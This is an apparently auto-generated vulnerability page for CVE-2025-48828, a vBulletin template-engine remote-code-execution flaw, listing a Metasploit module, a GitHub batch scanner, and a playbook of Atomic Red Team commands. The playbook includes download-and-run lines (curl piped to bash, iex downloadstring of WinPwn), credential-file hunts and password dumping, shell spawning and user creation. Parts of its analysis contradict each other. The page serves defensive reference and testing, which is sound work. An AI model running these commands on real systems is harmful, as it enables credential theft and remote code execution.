CVE-2025-48828
Overview
This vulnerability is a remote code execution flaw caused by improper validation of template conditional syntax within the vBulletin template engine. The root cause lies in the template parser's acceptance of alternative PHP function invocation syntax, which bypasses intended security checks. The affected component is the vBulletin template engine processing user-supplied template code in versions including 6.0.3.
Vulnerability Description
Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the "var_dump"("test") syntax, attackers can bypass security checks and execute arbitrary PHP code, as exploited in the wild in May 2025.
Impact
An unauthenticated remote attacker can execute arbitrary PHP code on the server by injecting malicious template code, leading to full system compromise including data theft, service disruption, or further network penetration. The attack requires only network access to the vulnerable vBulletin instance and no user interaction, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N. This enables attackers to bypass high-complexity access controls and escalate privileges within the application context.
Solution
Upgrade vBulletin to a patched version beyond 6.0.3 as detailed in the vendor advisory at https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce. Follow the instructions provided by the vendor and KevIntel to apply the security update addressing the template engine code execution flaw. No specific workarounds are recommended; patching is the primary remediation method.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in certain versions of the vBulletin platform arises from a flaw in the template engine, specifically related to the handling of Template Conditionals. This weakness allows attackers to craft malicious template code that can be executed as PHP code. By utilizing an alternative invocation syntax, such as "var_dump"("test"), attackers can bypass existing security mechanisms designed to prevent unauthorized code execution. This exploitation method leverages the template engine's parsing capabilities, ultimately leading to the execution of arbitrary PHP code on the server. The implications of this vulnerability are significant, as it undermines the integrity of the web application and exposes sensitive data or system controls to unauthorized users.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. By gaining access to the template management features of a vBulletin installation, an attacker can insert malicious code directly into the templates that are rendered to users. This could occur through various means, such as social engineering, phishing attacks, or exploiting weak user credentials. Once the malicious template is deployed, any user accessing the affected page could inadvertently execute the arbitrary PHP code, allowing the attacker to perform actions such as data exfiltration, session hijacking, or even complete system compromise. The exploitation of this vulnerability has been observed in the wild, indicating that attackers are actively seeking to leverage it for malicious purposes.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on vBulletin for community engagement or content management. The ability to execute arbitrary PHP code can lead to severe business risks, including data breaches, loss of customer trust, and potential regulatory penalties. Organizations may find themselves facing significant financial repercussions due to the costs associated with incident response, remediation, and potential legal liabilities stemming from compromised user data. Furthermore, the reputational damage that accompanies such incidents can have long-lasting effects on customer relationships and brand integrity.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating vBulletin to the latest secure version is paramount, as software vendors typically release patches to address known vulnerabilities. Additionally, implementing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit this vulnerability. Monitoring logs for unusual template modifications or unexpected PHP executions can also aid in early detection of potential exploitation attempts. Furthermore, organizations should enforce strict access controls and user authentication measures to limit the ability of unauthorized users to modify templates. Educating users about the risks associated with social engineering and phishing attacks can also reduce the likelihood of an attacker gaining access to the template management features.
In conclusion, the vulnerability within the vBulletin template engine presents a significant threat to organizations utilizing this platform. The potential for arbitrary PHP code execution poses serious risks to data integrity and system security. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate such threats effectively. Proactive measures, including timely software updates and robust security practices, are essential in safeguarding against exploitation and maintaining the trust of users and stakeholders alike.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vbulletin | Vbulletin | 6.0.3 |
cpe:2.3:a:vbulletin:vbulletin:6.0.3:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
vBulletin replaceAdTemplate Remote Code Execution
exploits/multi/http/vbulletin_replace_ad_template_rce
|
Egidio Romano (EgiX), Valentin Lobstein | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ill-deed/vBulletin-CVE-2025-48828-Multi-target
Batch RCE scanner for vulnerable vBulletin instances using replaceAdTemplate exploit.
|
ill-deed | 0 | 3 | 2025-06-25 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-554 | Functionality Bypass |
35%
|
Medium | High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-48828 |
| karmainsecurity.com |
GitHub CVE
|
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce |
| kevintel.com |
GitHub CVE
|
https://kevintel.com/CVE-2025-48828 |
| blog.kevintel.com |
NVD API
Broken Link
|
https://blog.kevintel.com/vbulletin-replaceadtemplate-kev/ |